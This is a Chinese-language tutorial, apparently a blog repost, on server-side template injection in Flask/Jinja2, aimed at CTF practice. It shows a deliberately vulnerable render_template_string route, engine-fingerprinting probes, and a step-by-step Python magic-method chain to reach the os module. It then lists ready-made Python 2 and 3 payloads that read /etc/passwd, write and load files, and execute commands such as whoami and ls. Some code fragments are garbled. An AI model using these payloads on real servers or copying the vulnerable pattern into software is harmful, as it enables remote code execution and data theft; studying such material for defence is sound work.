又称服务器端模板注入。这一类漏洞在ctf中也经常出现。通过这篇文章主要学习一下SSTI的基础。
什么是SSTI
在说这个之前先来了解一下模板与模板引擎。
比如说你百度查资料的时候,页面返回给你的大体格式是不改变的,改变的只是你查询的内容。

这个框架就是模板。主要作用就是将用户查询的动态数据与静态信息分离。大大提高了开发效率。服务端把相应的模板文件和一些变量传递给模板引擎,模板引擎解析后再传给用户端 ,模板引擎只处理模板上的一些东西,而hacker们就是将恶意的模板语句注入在模板中,在对模板进行渲染时,就会执行我们的恶意代码,将执行结果返回给客户端。
漏洞原理
以flask模板为例,主要了解渲染和路由。
看这段代码
from flask import flask @app.route('/index/') def hello_word(): return 'hello world'
路由就是把url与函数对应起来,一个映射的关系。比如这段代码当你访问http://host:port/index/就会输出hello world。
渲染的方法主要有render_template和render_template_string两种。
render_template函数是用来渲染一个指定文件。而render_template_string是用来渲染字符串的。
看漏洞代码
@app.route('/test/')
def test():
code = request.args.get('id')
html = '''
%s
'''%(code)
return render_template_string(html)
code是我们用户输入的,当我们输入的内容拼接到模板中,因为没有经过转义和限制,在渲染模板时就会执行我们输入的恶意代码。
常见的模板有很多,不同模板的语法也不相同,在实际情况我们可以测试判断属于哪一种模板。

例如不同模板的输出结果。
Twig{
{7*'7'}}结果49 jinja2{
{7*'7'}}结果为 smarty7{*comment*}7为77
就拿jinja2这个模板引擎为例,它的取值变量格式为{
{}},里面的表达式会自动执行。我们可以用{
{7*7}}来测试网站有没有模板注入漏洞。
当然,当你发现这个漏洞想用一些恶意命令来执行一些操作。比如你想调用os模块使用系统命令,
import os os.system('id')
但是事实上不可行的。可能是因为模板引擎会限制import声明语法。所以我们不能直接调用。那么我们呢就需要充分利用python中的组件,也就是魔术方法。下列举例常用的魔术方法。
__class__ 返回类型所属的对象 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。 __base__ 返回该对象所继承的基类 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表 __init__ 类的初始化方法 __globals__ 对包含函数全局变量的字典的引用
知道这些魔术方法我们该怎么去用它呢?比如我们就需要来查看id,需要使用到os模块。我们知道python中万物皆可对象,那么我们就可以用一个空字符串作为一个起点了。
查看当前属性的对象”.__class__

那我们继续查看当前类的基类。”.__class__.__base__

基类找到了,那么我们就可以查找所以子类了。”.__class__.__base__.subclasses__()

太多太多。到这个时候,SSTI的姿势和技巧就丰富了许多。在这里,我们需要挑选sys模块的类,因为sys模块也调用了os模块。查找我们需要利用的类可以通过脚本来查找。这里我们选择
这个类,排序是从0开始的。所以是141位。
''.__class__.__base__.__subclasses__()[141] #找到这个类 ''.__class__.__base__.__subclasses__()[141].__init__.__globals__ #初始化,以字典的形式返回所有的全局变量 ''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'] #找到sys,并在其中调用os模块 #调用到os模块,我们就可以执行系统命令了。 {
{''.__class__.__base__.__subclasses__()[141].__init__.__globals__['sys'].modules['os'].popen("id").read()}} #来读取id,当然最后还要有语法包裹。
说到这里,对SSTI的攻击手段都有大致的了解,当然,像这样的payload的构造肯定是要花不少时间的。我们可以用一些现成的payload。
python2
#文件读取和写入 {
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {
{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #每次执行都要先写然后编译执行 {
{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} {
{ config.from_pyfile('/tmp/owned.cfg') }} #命令执行 {
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} {
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}} #这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块 {
{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} #system函数换为popen('').read(),需要导入os模块 {
{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} #不需要导入os模块,直接从别的模块调用 {
{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
python3
#读文件 {
{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}} #命令执行 {
{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
在一些ctf题目可能会有一些waf过滤以及绕过姿势,之后会通过做题巩固总结。
相关链接:
SSTI注入 – FreeBuf网络安全行业门户
浅谈SSTI – FreeBuf网络安全行业门户
发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/228572.html原文链接:https://javaforall.net
